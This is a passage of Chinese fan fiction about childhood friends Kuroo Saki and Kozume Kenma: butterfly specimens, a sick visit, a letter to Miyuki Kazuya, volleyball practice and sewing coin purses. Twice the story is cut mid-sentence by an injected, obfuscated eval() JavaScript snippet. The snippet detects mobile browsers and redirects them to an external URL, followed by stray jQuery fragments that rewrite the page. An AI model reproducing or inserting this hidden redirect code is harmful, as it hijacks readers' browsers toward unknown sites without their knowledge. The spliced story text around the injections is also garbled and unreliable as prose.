微卷的长发被她高高扎成马尾,随着她烦躁的动作在脑后晃来晃去,白皙的手臂上已经布满了七八个红肿的包,在阳光下格外显眼。 更让她恼火的是,这些包偏偏都集中在右手腕内侧,每次挥动捕捉网时,布料摩擦带来的刺痒感都让她想立刻放弃这个愚蠢的作业。 走在前面的孤爪研磨突然停下脚步,敏锐地转过身来。他的发丝被汗水微微打湿,贴在脸颊上,猫一样的竖瞳准确地锁定了好友正在抓挠的手臂。 “又被咬了?”他的声音平静得像是在讨论天气。 “这不是明摆着嘛!”黑尾纱季气鼓鼓地伸出布满红点的手臂:“我都喷了驱蚊水了,这些蚊子是不是专门盯着我咬啊?” 孤爪研磨没有回答,只是从短裤口袋里掏出一个绿色的小圆盒。 这是上次他们家去泰国旅游时买的青草膏,对蚊虫叮咬有奇效,自从知道黑尾纱季特别招蚊子后,他就养成了在夏天随身携带的习惯。 “哼......”黑尾纱季撅着嘴接过药膏,动作却十分熟练。 她拧开盖子,用指尖沾取少许淡绿色的药膏,轻轻涂抹在红肿处,清凉的感觉立刻缓解了恼人的瘙痒,她紧绷的肩膀终于放松下来,但嘴上还是不依不饶:“我真的超级超级讨厌昆虫。” 孤爪研磨看着她涂抹药膏的样子,突然想起小时候第一次见到黑尾纱季被蚊子咬时的场景。 那时她才六岁,被叮了之后哭得惊天动地,硬是说蚊子要吸干她的血。 现在虽然不会哭了,但这副气鼓鼓的样子倒是和当年如出一辙。 “但是我看到桃井他们听到作业是制作蝴蝶标本时还挺开心的?”孤爪研磨歪着头问道,同时目光扫视着周围的草丛,寻找蝴蝶的踪迹。 黑尾纱季回想起上周五放学时,老师宣布作业后教室里此起彼伏的欢呼声,不由得撇了撇嘴。 她想起去年在父亲的朋友家看到的蝴蝶标本收藏,那些被钉在展示盒里的昆虫,展开的翅膀上布满诡异的花纹,毛茸茸的触角让她浑身起鸡皮疙瘩。 “我真的很讨厌虫子。”她踢着脚下的草叶,声音不自觉地低了下来:“连哥哥以前养的独角仙我都躲得远远的,制作蝴蝶标本这种作业根本就是在为难我嘛!” 她抬头看向孤爪研磨,琥珀色的眼睛里写满了委屈:“别说制作了,光是抓蝴蝶就够可怕的了。” 目光突然变得专注,孤爪研磨抬手示意黑尾纱季安静,猫一样的瞳孔紧缩,盯着不远处一朵野花上停驻的淡黄色蝴蝶。 他的身体微微前倾,像一只蓄势待发的猫科动物,整个人都进入了狩猎状态。 黑尾纱季立刻屏住呼吸,生怕惊扰了那只蝴蝶。 她看着孤爪研磨缓慢地抬起捕捉网,动作轻得不可思议,微风拂过,花枝轻颤,蝴蝶的翅膀开始缓缓扇动—— 就是现在! 捕捉网在空中划出一道银色的弧线,精准地罩住了即将起飞的蝴蝶,网中的小生物惊慌地扑腾着,翅膀拍打在网纱上发出细微的噗噗声。 “哇!”黑尾纱季憋住的那口气终于释放出来,她刚才紧张得连眼睛都不敢眨:“研磨你已经抓到两只了!我们赶紧回家做标本吧!” 她迫不及待地想要离开这片草地,甚至讨好地拽了拽孤爪研磨的衣角:“回去我们吃葡萄味的棒冰,你想吃哪一节我都让给你!” 然而孤爪研磨却没有移动脚步,他晃了晃手中的捕捉网:“但我们还有个问题,纱季。” “什么?”黑尾纱季的笑容僵在了脸上。 “我们都不会做标本,得先去请教大人才行。” 黑尾纱季的脸色立刻垮了下来,脚步也不自觉地往后退了半步。 她脑海中已经浮现出要把活生生的蝴蝶用针钉起来的可怕画面,胃部一阵翻腾。 注意到她的退缩,孤爪研磨立刻祭出了杀手锏: “等做完标本,我们就能去买棒冰了。”他顿了顿,又补充道:“你不是最喜欢棒冰头部那节最甜的部分吗?到时候都给你。” 深知逃不过这一劫的黑尾纱季在心里哀嚎,但还是乖乖跟着孤爪研磨去了他父亲工作的自然研究所。 一路上,她死死盯着孤爪研磨手中装着蝴蝶的容器,生怕它们突然飞出来。 研究所里,孤爪爸爸的同事中村老师热情地接待了他们。 这位戴着圆框眼镜的中年女性似乎看出了黑尾纱季的不适,特意用最温和的方式讲解了标本制作过程。 “其实蝴蝶标本是为了科学研究。”中村老师的声音很柔和:“通过标本,我们可以了解不同种类蝴蝶的形态特征,研究它们的进化过程。” 她拿出一个已经制作好的标本盒:“看,这样保存下来,它们的美丽就能被更多人欣赏到了。” 黑尾纱季小心翼翼地凑近观察,发现被妥善处理的蝴蝶确实不像想象中那么可怕,翅膀上的花纹在专业的光线下呈现出令人惊叹的细节,仿佛一件精致的艺术品。 “要不要试试看?”中村老师递给她一支特制的镊子:“很简单的,就像在摆弄一片特别的花瓣。” 在黑尾纱季惊恐的目光中,孤爪研磨已经熟练地操作起来。 他先用特殊的药剂让蝴蝶进入休眠状态,然后小心地用镊子调整翅膀的角度,最后用极细的昆虫针固定。 整个过程行云流水,就像他平时打游戏时那样专注而精准。 “研磨好厉害......”黑尾纱季小声感叹,突然觉得这个作业似乎也没那么可怕了。 三个小时后,当他们捧着完成的两个标本盒走出研究所时,夕阳已经染红了半边天空。 黑尾纱季长舒一口气,这才发现自己的后背都被汗水浸湿了。 “给。”孤爪研磨从便利店冰柜里拿出两支葡萄味棒冰,按照约定把头部那节掰给了黑尾纱季。 “谢谢!”黑尾纱季接过棒冰,甜蜜的滋味在舌尖化开,瞬间冲淡了一天的疲惫。 她看着手中精致的标本盒,突然觉得有些不可思议:“其实......也没那么可怕嘛。” 孤爪研磨咬了一口棒冰,嘴角微微上扬:“嗯。” ...... 周一下午的自然课上,教室里热闹非凡。 同学们都在兴奋地展示周末制作的蝴蝶标本,互相比较谁抓到的蝴蝶更漂亮,黑尾纱季却全身僵硬地坐在座位上,面无表情地玩着孤爪研磨借给她的游戏机。 “又死了......”她小声嘀咕着,看着屏幕上第十次倒在同一个boss脚下的游戏角色。 这个关卡她已经尝试了整整一节课,却始终无法突破。 “我说纱季,你这也太夸张了吧!”桃井五月终于看不下去了,她指着黑尾纱季桌上精美的标本盒:“这只蝴蝶多可爱啊,我都觉得做成标本有点可怜了。” 邻桌的女生也凑过来加入讨论:“就是啊,这么漂亮的蝴蝶被做成标本太残忍了,老师怎么会布置这种作业?” 周围的讨论声越来越大,黑尾纱季终于叹了口气,合上游戏机。 她看着自己制作的标本——那是一只淡黄色的菜粉蝶,翅膀展开后不过五厘米宽,但在专业的制作手法下,每一条翅脉都清晰可见。 “但你们不觉得蝴蝶真的很可怕吗?”黑尾纱季深吸一口气,开始复述曾经在某本自然图鉴上看到的内容:“你们知道蝴蝶是怎么从毛毛虫变成的吗?幼虫的残骸会在粘稠的□□中缓缓溶解,那些粘稠的液体里还能看到肉芽在蠕动......” 随着她绘声绘色的描述,周围同学的表情逐渐凝固,黑尾纱季越说越起劲:“蛹壳内壁,一层又一层的薄膜被逐渐撑破,伴随着咔嚓咔嚓的声响,就像骨头断裂一样,最后,伴随着''啵''的一声,一只浑身湿漉漉的蝴蝶就钻出来了,翅膀上还挂着黏液和没消化完的幼虫碎片......” 当她说完最后一个字时,整个教室鸦雀无声。 桃井五月的脸色发青,邻桌的女生已经捂住了嘴巴,整整半分钟后,桃井五月才颤抖着打破沉默:“纱季......你看的是什么书?” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15432596|168796||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “......忘记了,之前在书店等我妈妈的时候随手翻的一本自然图鉴。”黑尾纱季这才意识到自己可能吓到大家了。 “绝对是恐怖版的自然图鉴!”桃井五月抓狂地摇晃着黑尾纱季的肩膀:“啊啊啊!我现在看这些蝴蝶标本都觉得毛毛的了!!!” ...... 夏季的雷雨来得快去得也快。 周五放学时突然下起的大雨让没带伞的黑尾纱季淋成了落汤鸡,但令人意外的是,向来体弱的她这次居然没有生病,反倒是隔壁的孤爪研磨高烧不退,被迫在家卧床休息。 “阿姨好!”周六上午,黑尾纱季抱着一个纸袋站在孤爪家门口,礼貌地向孤爪光问好:“我来看看研磨。” “纱季来啦。”孤爪光温柔地笑着让开门:“研磨在楼上,刚吃了药,可能还在睡。” 黑尾纱季轻手轻脚地爬上楼梯,怀里抱着他们制作的蝴蝶标本获得的优秀奖状。 推开卧室门,她看到孤爪研磨正闭目躺在床上,额头上贴着退烧贴,脸颊泛着不自然的红晕,平日里总是冷静自持的表情此刻显得格外脆弱。 这一刻,黑尾纱季突然理解了为什么每次自己生病时,孤爪研磨来探望时总会先摸摸她的额头再说“快点好起来”。 看着好友虚弱的样子,她心里泛起一阵说不出的难受。 她轻手轻脚地把奖状放在书桌上,然后走到床边,小心翼翼地触碰了一下男孩滚烫的脸颊。 指尖传来的热度让她皱起眉头,忍不住在心里默念:快点好起来吧。 确认孤爪研磨暂时不会醒来后,黑尾纱季拿起床边的游戏杂志,在昏暗的房间里安静地翻阅起来。 杂志上满是专业术语和游戏截图,对游戏兴趣一般的她很快就感到昏昏欲睡。 黑尾纱季的眼皮越来越重,最终趴在床边睡着了。 她做了一个奇怪的梦。 梦里孤爪研磨已经康复了,正拿着她带回来的奖状得意地笑着,那表情像极了偷到鱼的小猫,是平日里很少见到的模样。 梦中的阳光特别温暖,照得人懒洋洋的...... 等等,阳光? 黑尾纱季猛地睁开眼睛,发现自己不知何时已经趴在床边睡着了,身上还多了一条柔软的毛毯。 而梦中的主人公确实已经醒来,正靠在床头专注地玩着游戏,屏幕的蓝光映在他恢复了些血色的脸上。 “研磨?你感觉怎么样?”黑尾纱季揉着惺忪的睡眼问道,声音里还带着刚睡醒的鼻音。 孤爪研磨操纵着屏幕上的小人跳起来吃掉一个精力蘑菇,头也不抬地回答:“差不多退烧了。” “什么叫差不多?”黑尾纱季不满地追问,伸手就要去摸他的额头。 孤爪研磨灵活地躲开,嘴角微微上扬:“就是还有点低烧,明天应该就能好了。” 他的声音比平时沙哑一些,但精神看起来不错。 黑尾纱季这才放下心来,把毛毯叠好放在床尾。 “你什么时候醒的呀?我还说要守着你醒来呢。”她有些不好意思地挠挠头,明明是自己来探病的,结果反而让病人照顾了。 “大概二十分钟前。”孤爪研磨晃了晃手中的游戏机:“第一关还没过去。” “啊!对了!”黑尾纱季突然想起什么,赶紧从书桌上拿起那个纸袋:“这是老师说我们的蝴蝶标本做得最好的奖励。” 她取出两张精美的奖状:“其实都是你做的,所以我的这份也给你。” 随意地把奖状放在床头,孤爪研磨继续专注于游戏中的boss战。 显然,通关游戏带给他的成就感远胜于一张奖状,黑尾纱季也不打扰他,只是凑过去安静地观看。 每次看孤爪研磨打游戏,她都会紧张得屏住呼吸,仿佛自己也置身于那个虚拟世界。 当屏幕上终于显示出第二关的字样时,黑尾纱季长舒一口气。 她侧头看着身旁精神奕奕的男孩,又想起刚才那个躺在床上脸色苍白的病号,忍不住伸手揉了揉孤爪研磨的头发。 柔软的黑发在她指间变得凌乱,她眯起眼睛笑着说:“太好啦,看到研磨好起来,我真的超级开心。” 孤爪研磨愣住了,一缕不听话的发丝垂落在眼前。 他望着女孩弯成月牙的琥珀色眼睛,那里面盛满的关切像蜂蜜一样甜美。 不知为何,他突然觉得脸颊有些发烫,只能轻轻地嗯了一声作为回应,但微微上扬的嘴角,却泄露了他内心的愉悦。 16.热爱 [To一也: 听说你现在已经在你们小学的棒球队担任捕手这个位置啦,真羡慕你能找到自己喜欢的东西。 每次听你谈起棒球时那种雀跃的语气,隔着电话线我都能感受到你的热情。 我虽然像爸爸妈妈说的那样正在慢慢去寻找,但还是不能像你或者像哥哥一样,找到那种让人眼睛发亮的执着。 不过说起来,感觉我身边的人对于球类总是很热爱呢,你喜欢棒球,哥哥喜欢排球,我上次和你写信说的同班好友桃井五月和她的幼驯染喜欢篮球,感觉都是球类,说不定在很久的以后,我会被你们这些球类明星包围。 有时候躺在床上睡不着,我就会想象这样的场景:你们一个个都成了职业选手,而我坐在观众席上,手里拿着应援棒,为你们每一个人加油。 光是想想就觉得很有趣呢! 现在想想前天跟你打电话时候,你说的那句「与野手之间的战术,和投手之间的配球,球场上的指挥者,这么有趣的位置我谁也不想让」真的好帅啊,根本就不像是一个小学生能够说出来的话,说吧,你是在哪里学到的。 是不是又偷偷看了什么棒球杂志?还是从教练那里学来的?不过说真的,听到你说这些话的时候,我仿佛已经看到你站在甲子园球场上的样子了。 可恶,我也想说出这么帅气的话!!但是翻遍了所有读过的书,都找不到像你这样充满力量感的句子。 看来光读书是不够的,还得像你一样找到真正热爱的事情才行。 最近我有在认真学习《棒球入门指南》,希望暑假能来观看你的比赛,到时候一也你可要好好发挥呀!!!我已经开始想象你戴着捕手手套,指挥全场的样子了。 妈妈说如果期末考试能进前十名就带我去看你的比赛,所以最近我连最讨厌的算术题都在认真做呢。 最近跟妈妈一起学习做了这种小饼干,很酥脆还有浓郁的奶香!希望你能喜欢!虽然第一次尝试时烤焦了好几盘,但这次寄给你的可是经过五次改良后的完美版本哦。 不过拖小饼干的福,妈妈愿意替我支付给你寄快递的钱,太好啦,这次给你寄的信件可以很快就能到你手上!等你吃完小饼干以后记得要给我回电!我很期待你的评价!要是你说不好吃的话,我可是会哭的! 你的好朋友] 黑尾纱季落下最后一笔,将笔帽轻轻扣上。 她将信纸举到眼前,仔细检查每一个字是否写得工整,确认无误后,她小心翼翼地把写给好友御幸一也的信对折两次,装入印有小熊图案的信封里。 信封上早已写好了地址,还贴上了她珍藏已久的棒球主题邮票。 她举着信封小跑下楼,木质楼梯发出咚咚的声响。 “妈妈!”她喊道:“拜托帮我把这个寄给一也!” 正在厨房忙碌的母亲转过身来,手上还沾着面粉。 “又是给一也的信啊。”母亲笑着说:“你们这两个孩子,明明上周才通过电话。” 自从黑尾家从西东京搬到东京以后,黑尾纱季和好友御幸一也的联系没有断过。 在学会读写字之前,两人约定好了每周五都会打电话聊聊最近的近况,那时候黑尾纱季总是提前半小时就守在电话旁,把想说的话在脑子里排练好几遍。 在幼儿园经历了江头凉子事件的时候,黑尾纱季为了不让好友担心隐瞒了这件事,她记得那天自己躲在被窝里哭了好久,却在对一也的电话里装作若无其事的样子。 但是后面被多嘴的哥哥说出来了,以至于御幸一也差点一个人从西东京坐车跑过来了。 想到当时一也在电话里气急败坏的声音,黑尾纱季现在还会忍不住笑出来。 后面上小学以后大家学会了读写字,两人就在原有的电话基础上又增加了写信的这一联络方式。 黑尾纱季至今还记得收到第一封信时的心情,那种将对方字迹捧在手心的奇妙感觉,是电话无法替代的。 其实这是黑尾纱季自己发起的活动,对于读书写字并没有很热衷的御幸一也并没有很感兴趣。 每次收到他简短的回信,黑尾纱季都能想象出他皱着眉头、勉强写字的模样。 但是拗不过黑尾纱季对于这类活动的喜爱,最终他还是勉强保持住了一个月给黑尾纱季写一封信的频率,虽然寄过来的信件看上去干巴巴的,常常只有“我很好”“比赛赢了”这样简单的句子。 在之前电话里御幸一也和黑尾纱季分享了自己在小学的棒球队担任捕手的事情,电话那头的声音比平时高了八度,语速也快了许多。 黑尾纱季甚至能听到他兴奋得在房间里走来走去的脚步声,看得出御幸一也是真的很喜欢棒球以及在场上担任捕手,那种热情透过电话线都能灼伤她的耳朵。 每次听到他的话,黑尾纱季就会想起从排球教室回家也不忘在庭院里练习垫球的黑尾铁朗。 哥哥总是把排球擦得干干净净,放在书桌最显眼的位置,连睡觉前都要摸一摸才安心,她看得出他们是真心喜欢这项运动,那种热爱让她既羡慕又困惑。 其实这让黑尾纱季很羡慕,她想象不出来自己对待一件事有如此狂热的样子是什么样。 她尝试过画画、钢琴、甚至短暂地学过一阵子游泳,但都没有那种非它不可的感觉。 每当看到哥哥为一记好球欢呼雀跃,或者听到御幸一也谈论棒球时声音里的光彩,她就会忍不住想,什么时候我才能找到属于自己的“那个”呢? 对此桃井五月倒是不担心,她说黑尾纱季对于读书这件事就是很狂热的。 “你忘了吗?”桃井曾这样说道:“上次课间休息时,你抱着一本书看得入迷,连上课铃都没听见。老师叫了你好几声,最后还是我推了你一下才反应过来。” 虽然自己并不赞同这件事,但是黑尾纱季也算是勉强把读书算在了自己现在很喜爱的事情上。 至少比起其他事情,阅读确实能让她忘记时间。 但内心深处她知道,这和哥哥对排球、御幸一也对棒球的感情还是不一样的,他们可以为了所爱付出全部热情,而她只是享受阅读时的宁静。 其实最开始的黑尾纱季对于阅读这件事并不像现在这样,只是小时候自己身体不好总是待在床上。 那时候房间里总是弥漫着药水的味道,相较于电视里面播放的动画,她更喜欢妈妈买来画着各式各样插画的绘本。 那些色彩鲜艳的图画和简单的文字,像是为她打开了一扇通往其他世界的窗户。 时间久了,她自己也不自觉喜欢上了看书。 从绘本到童话,再到现在的儿童文学,书本越来越厚,字越来越多,但她沉浸其中的快乐却从未减少。 只是这种喜欢,和哥哥他们那种想要为之奋斗一生的热爱,终究是不同的。 黑尾纱季内心很清楚,她属于那种有就看没有也无所谓的态度。 书本合上后,她不会像哥哥失去排球时那样坐立不安;几天不读书,她也不会像一也因雨取消训练时那样失落。 但是像哥哥黑尾铁朗,要不是妈妈不允许,估计他睡觉都要抱着排球一起睡。 他的房间里贴满了排球选手的海报,书架上摆着各种排球杂志,连手机壳都是排球的图案。 每天放学回家第一件事就是检查排球的气够不够足,然后迫不及待地跑到院子里练习。 更别说他总是兴致勃勃地看着录像带里面各种排球类比赛,这些令黑尾纱季感到乏味的画面,却能让黑尾铁朗目不转睛地观看好久。 他会突然按下暂停键,指着屏幕说“看这个扣球!太漂亮了!”或者“这个拦网的时机把握得太准了!”而黑尾纱季只能茫然地点头,完全不明白他为何如此激动。 突然,黑尾纱季想到了前天哥哥拿着录像带拉上自己一起去孤爪研磨家。 那天阳光正好,哥哥兴奋地挥舞着新买的比赛录像,不由分说地拉着她就往孤爪研磨家跑,研磨开门时还带着耳机,手里拿着游戏机,看到他们时露出了又来了的表情,但还是侧身让他们进了门。 大家整整齐齐地坐在孤爪研磨房间的地板上一起观看最新一场日本排联组织的职业赛。 黑尾铁朗坐在最前面,背挺得笔直,眼睛一眨不眨地盯着屏幕;研磨坐在稍远的位置,时不时偷瞄放在一旁的游戏机;而她则强打精神,试图理解屏幕上那些飞来飞去的球有什么好看的。 一开始黑尾纱季还能强迫自己认真观看比赛,甚至学着哥哥的样子为精彩得分鼓掌。 但那些专业术语和快速切换的画面让她头晕,在比赛进行了二十多分钟以后就不知不觉睡着了。 朦胧中她听到哥哥压低声音说别吵醒她,然后感觉到有人轻轻给她盖上了毯子。 虽然醒来的时候身上盖了一条毯子(好像还是上次在研磨这里睡着的时候盖的),但是哥哥黑尾铁朗可谓是很生气。 他抱着手臂站在门口,眉头皱得能夹死一只蚊子。 “这可是今年最精彩的比赛!”他气呼呼地说:“你居然睡着了!”不管黑尾纱季怎么道歉、怎么保证下次一定认真看,他都抱着手一脸气呼呼的样子,连回家的路上都故意走得很快,把她和研磨甩在后面。 在心里默默呐喊了好多声糟糕以后,孤爪研磨配合黑尾纱季,两人终于把黑尾铁朗哄好了。 孤爪研磨难得主动提出要陪铁朗多练一会儿球,而黑尾纱季则承诺会认真学习排球规则,但黑尾铁朗显然不满足于此,他眼睛一转,提出了更多要求。 在定下了明天的可乐饼要多分一块给黑尾铁朗、这周的棒冰都要把头那一边得黑尾铁朗等等一系列不平等条约后,黑尾铁朗才勉为其难的说那后天晚上他从排球教室出来以后,黑尾纱季要去看他们练球。 他说这话时眼睛亮晶晶的,显然已经在计划要怎么向妹妹展示排球的魅力了。 啊,后天...... 既然是前天发生的事情,那岂不是就是今天!! 黑尾纱季猛地一下子站起来,椅子在地板上划出刺耳的声音。 她看了眼挂在墙壁上的时钟,时针已经指向了5。 还没来得及反应现在是几点,外面庭院里已经传来黑尾铁朗的呼唤,声音里带着掩饰不住的期待。 “纱季!!” 微不可查的叹了口气,黑尾纱季站起来,她走到窗户边朝外面的两人挥挥手。 黑尾铁朗穿着运动服,手里转着排球,旁边的研磨一如既往地低头玩着游戏机,但偶尔抬头看向窗户的方向。 深吸一口气,然后黑尾纱季大喊:“我换件衣服就下来。” 慢吞吞地走到衣柜旁边拿出里面新添置的运动服,蓝色的布料摸起来柔软舒适。 对于排球真的不是很感兴趣的黑尾纱季,以最慢的速度换上衣服,把头发扎成一个简单的马尾。 她拖着沉重的脚步慢吞吞地走下楼,每一级台阶都像是通往某个她不情愿去的地方。 最后避不开了,黑尾纱季拉开大门,夏末傍晚的风带着温热的气息扑面而来。 门外,黑尾铁朗布林布林闪着光的一双眼睛直直地看过来,那期待的表情活像一只等待出门散步的大型犬。 “哥哥,你好像狗 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15437282|168796||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 哦。”黑尾纱季面无表情地吐槽。 黑尾铁朗一噎,刚刚想说出来的豪言壮语全部被迫吞下。 他狞笑着伸手怒搓黑尾纱季的头,把她精心扎好的马尾弄得乱七八糟。 “这是对哥哥不敬的惩罚!”他宣布道,手上的动作却放轻了些。 “啊啊啊,我才扎好的头发。”黑尾纱季惨叫一声,她赶紧拍开黑尾铁朗的手,一边嘀嘀咕咕地吐槽哥哥一边重新扎头发。 旁边孤爪研磨对于这兄妹两的打闹已经见怪不怪了,他淡定地按着手中游戏机的快捷键,头也不抬地往前走,仿佛身边的一切都与他无关。 有些疑惑地跟在孤爪研磨身后,黑尾纱季问:“我们这是要去哪里,不是就在庭院里面练习吗?” 她回头看了眼自家宽敞的院子,足够他们三个人玩耍了。 “去河堤旁边,那里宽敞一点。”黑尾铁朗一把揽着黑尾纱季的肩膀就大咧咧的往前走。 有些无语的黑尾纱季试着挣脱,在发现挣不开以后,就任凭哥哥压在自己身上,顶着一双死鱼眼往前走。 路上偶尔有邻居经过,笑着跟他们打招呼,黑尾铁朗总是热情回应,而她和孤爪研磨只是礼貌性地点点头。 河堤距离他们家并不远,步行十分钟就到了。 夏末的河堤上长满了野草,蒲公英的种子随风飘散,远处的河水泛着金色的波光,偶尔有几只白鹭掠过水面。 现在河堤旁边的人不算很多,只有几个遛狗的老人和慢跑的年轻人。 黑尾纱季找了个干净的台阶坐下,拍了拍身边的空位示意研磨也坐下来,但对方摇摇头,站到了铁朗身边。 她只好托腮看着黑尾铁朗和孤爪研磨在不远处开始练习抛球和接球。 感觉不管怎么看,排球都好无聊啊...... 托腮看着不远处的两人,黑尾纱季已经感觉到世间的漫长了。 阳光晒得她昏昏欲睡,耳边只有排球击打手臂的“”砰砰“”声和哥哥偶尔的指导声。 早知道出门的时候就该带一本书出来,至少能打发时间,她开始后悔没有把正在看的那本《秘密花园》塞进口袋里。 “纱季!你要来试试吗,很有意思的。”知妹莫如兄,黑尾铁朗敏锐地察觉到了妹妹的无聊,暂停练习朝她喊道。 “才不要!”黑尾纱季大声喊了一句,然后继续稳稳地坐在台阶上动也不动,她甚至故意转过身去,假装对河面上的波纹产生了浓厚兴趣。 看得出站在黑尾铁朗对面的孤爪研磨已经累了,额头上渗出细密的汗珠,呼吸也变得急促起来。 但黑尾纱季只是幸灾乐祸地坐在一边,笑吟吟地看着他和哥哥一起抛球。她在心里默默计数,想看看研磨还能坚持多久。 所以说什么二传是最不累人的......黑尾铁朗的这个谎言就连黑尾纱季都不信,孤爪研磨竟然信了这么久,可见他是一个对排球口嫌体正直的人。 每次哥哥提议练习时,研磨总是抱怨连连,可一旦开始,就会比谁都认真。 不然黑尾纱季自己都看累了的练习,他竟然还坚持了这么久,看得出除了哥哥的原因以外,孤爪研磨自己的内驱动力还是比较强大的。 在黑尾纱季把旁边的狗尾巴草都薅光的时候(她把这些毛茸茸的草茎编成了一个小戒指),太阳也渐渐变为橙色,向着对岸渐渐斜去。 橙色的夕阳像棉被一样盖在他们身上,渡上一层暖调又带着一丝暧昧的模糊,每个人的身影都被拉得又细又长,像是被拉长的橡皮糖。 黑尾铁朗这时候才像是知道累了一般停下手中的动作,用衣角擦了擦脸上的汗水。 孤爪研磨早已坐在地上喘气,游戏机被丢在一旁,胸口剧烈起伏着 捻着最后一根毛茸茸的狗尾巴草走到孤爪研磨身边,黑尾纱季用毛茸茸的那一段戳了戳好友被汗水浸湿的脸颊:“怎么样,是不是很累。” 孤爪研磨喘着气不说话,只是用那双猫一样的金色眼睛瞪了她一眼,然后伸手拍开了那根烦人的狗尾巴草。 但黑尾纱季不依不饶,又用草茎轻轻扫过他的耳垂,惹得他缩了缩脖子。 另一边黑尾铁朗抱着排球走过来,他毫不顾忌身上的汗水,一把将妹妹和好友都揽进怀里。 黑尾纱季立刻尖叫起来:“好臭!离我远点!” 哥哥充耳不闻,一双亮晶晶的眼睛睁得大大的:“怎么样纱季!排球是不是很有意思!” 他的声音里充满期待,仿佛只要黑尾纱季说一个“是”字,就能让他高兴一整天。 然而黑尾纱季毫不留情的泼上一盆冷水:“还是很无聊。” 但是黑尾铁朗并没有受到什么打击,他有些不服气的撇撇嘴,然后挺起胸膛用力喊道:“纱季你等着!总有一天一定会让你喜欢上排球的!!” 有些不满意黑尾铁朗此时的笃定,又像是为了自己的恶趣味一样,黑尾纱季也学着哥哥的样子撇嘴:“才不会,排球这么无聊。” “不会的,你一定会喜欢上!”黑尾铁朗不依不饶,排球在他手中转来转去,像是他无法平静的心情。 “那要打赌吗?”黑尾纱季眼睛一转,突然提议道。 “好!研磨你当见证人,”黑尾铁朗立刻上钩,他一把拉过正在试图悄悄拿回游戏机的孤爪研磨:“我赌纱季会喜欢上排球的,就赌一个苹果派好了。” “为什么你们两个打赌要赌苹果派。”孤爪研磨吐槽道,但他的抗议被完全无视了。 夕阳下,三个人的影子交织在一起,长长的延伸向远方,就像他们未来还有很长很长的路要一起走。 17.零钱包与魔法世界 历经了三年家政课的折磨,在无数次见证好友桃井五月那双神奇的手如何将最简单的梅子饭团变成冒着诡异黑气的不明物体后,得知今年家政课终于不用再做饭时,黑尾纱季狠狠地松了口气,甚至有种劫后余生的庆幸感。 “真是的,纱季有这么夸张吗。”桃井五月装作不满地撅起嘴,顺手用手肘轻轻顶了一下好友的腰侧,两人顿时笑闹成一团。 然而站在一旁的青峰大辉闻言却倒吸一口冷气,发出“嘶——”的一声长叹,脸上浮现出心有余悸的表情:“你问黑尾也没用啊,最后吃掉你那些''杰作''的人可是我!” 说着,他条件反射般捂住胃部,仿佛那些黑暗料理的阴影至今仍在折磨着他的消化系统。 见此情景,孤爪研磨不动声色地挪到黑尾纱季身旁的安全距离,暗自庆幸自己从未成为桃井料理实验的牺牲品。 更幸运的是,黑尾纱季的厨艺意外地不错,每次家政课后,他和黑尾铁朗都能享受到她亲手制作的小饼干,那些金黄色的、散发着黄油香气的饼干,往往成为排球训练后最令人期待的慰藉。 孤爪研磨至今还记得,有一次黑尾纱季尝试在饼干中加入抹茶粉,结果不小心倒多了,苦涩的味道让黑尾铁朗当场做鬼脸,而他却觉得那种微苦的滋味意外地合胃口。 第一节家政课的内容是缝制简单的零钱包,分组依旧按照惯例——桃井五月和青峰大辉一组,黑尾纱季和孤爪研磨一组。 教室里此起彼伏的缝纫机运转声和同学们小声讨论的声音交织在一起。 令人惊讶的是,这次桃井五月一洗前耻,仅仅半小时,她手中的零钱包就已经初见雏形,针脚整齐得不像出自新手。 她时不时举起作品向青峰炫耀,惹得对方连连称奇。 反观另一边的黑尾纱季却进展缓慢。 她皱着眉头盯着面前的布料,手中的针线迟迟没有动作,像是在进行某种艰难的斗争。 “纱季,再不动手就要下课了。”孤爪研磨已经完成了手中圆形零钱包的缝边工作,他担忧地看着好友面前毫无进展的材料。 黑尾纱季犹豫地用指尖轻轻戳了戳布料:“我不想做那种简单的款式,我想试着做一个猫猫头样式的零钱包,但是......” 她的声音渐渐低了下去,显然对这个挑战没什么信心。 就在这时,桃井五月从对面探过身来,她粉色的长发随着动作轻轻晃动:“要不要先试着在纸上画出猫猫头的样子,然后剪出来,布料就按照纸样来裁剪?” 这个建议让黑尾纱季眼前一亮。 她立刻举手向老师请示这个方法,得到了老师惊喜的赞许,当老师询问这个创意来源时,黑尾纱季毫不犹豫地指向桃井五月,让好友也收获了老师的表扬。 桃井五月的脸颊因为这个意外的认可而微微泛红,她不好意思地摆摆手。 接下来的课程进展得出奇顺,。当下课铃声响起时,黑尾纱季已经成功剪出了两片猫猫头形状的布料,边缘整齐得令她自己都感到惊讶。 她小心翼翼地用别针固定好半成品,像对待珍宝一样将它们收进书包。 “我准备做三个,我一个,你一个,哥哥一个。”回教室的路上,黑尾纱季压低声音向孤爪研磨透露自己的计划。 孤爪研磨闻言,迟疑地从口袋里掏出课上完成的简易零钱包:“我的已经做好了,其实不用......” 话未说完,他就接收到好友幽怨的眼神,那目光让他立刻识相地闭上嘴,转而诚恳地道谢。 在手工方面略显笨拙的黑尾纱季,经过一周的家政课努力后,终于如愿以偿地带着三个完工的零钱包回家。 当天晚上,在三人例行游戏时间(地点是孤爪研磨的卧室),她郑重其事地开始分发自己的劳动成果。 